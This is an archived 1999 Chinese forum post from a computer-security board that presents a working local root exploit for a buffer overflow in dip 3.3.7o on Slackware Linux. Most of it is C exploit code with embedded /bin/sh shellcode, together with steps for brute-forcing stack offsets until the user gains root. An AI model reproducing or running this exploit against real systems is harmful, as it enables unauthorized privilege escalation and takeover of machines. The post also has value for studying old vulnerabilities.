精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>漏洞

主题:漏洞
发信人: coolinger()
整理人: williamlong(1999-11-09 18:33:40), 站内信件

 
 对待hacker的态度,我认为应该友好的对待他们,希望
你发现我时会和我打个招呼,hello,how are you.....之类的话
先给你个建议,也是slackware的一个漏洞:
       dip 3.3.7o有个overflow bug,普通用户可以取得root
权限,只要编译这段代码,产生一个文件如j ,执行j 1500到3000间隔50
如j 1500
  j 1550
  j 1600
......
  j  3000
你的系统在执行j 2300时会使用户拥有超级用户的权限,可打id命令,看到
执行后的euid 为0。
#include <stdio.h>
#include <stdlib.h>
static inline getesp()
{
  __asm__(" movl %esp,%eax ");
}
  main(int argc, char **argv)
{  
   int jump,i,n;
   unsigned long xaddr; 
   char *cmd[5], buf[4096];
   char code[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
   jump=atoi(argv[1]); 
   for (i=0;i<68;i++)
buf[i]=0x41;
for (n=0,i=68;i<113;i++)
buf[i]=code[n++];
xaddr=getesp()+jump;
buf[i]=xaddr & 0xff;
buf[i+1]=(xaddr >> 8) & 0xff;
  buf[i+2]=(xaddr >> 16) & 0xff; 
  buf[i+3]=(xaddr >> 24) & 0xff;
  buf[i+4]=xaddr & 0xff; 
   buf[i+5]=(xaddr >> 8) & 0xff;
  buf[i+6]=(xaddr >> 16) & 0xff; 
  buf[i+6]=(xaddr >> 16) & 0xff;
  buf[i+7]=(xaddr >> 24) & 0xff; 
   cmd[0]=malloc(17);
  strcpy(cmd[0],"/sbin/dip-3.3.7o"); 
  cmd[1]=malloc(3);  
  strcpy(cmd[1],"-k");
  cmd[2]=malloc(3); 
  strcpy(cmd[2],"-l"); 
  cmd[3]=buf;  
  cmd[4]=NULL;
  execve(cmd[0],cmd,NULL);
}


      

 
 
 
 
 
 
  

--
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.102.89.124]

[关闭][返回]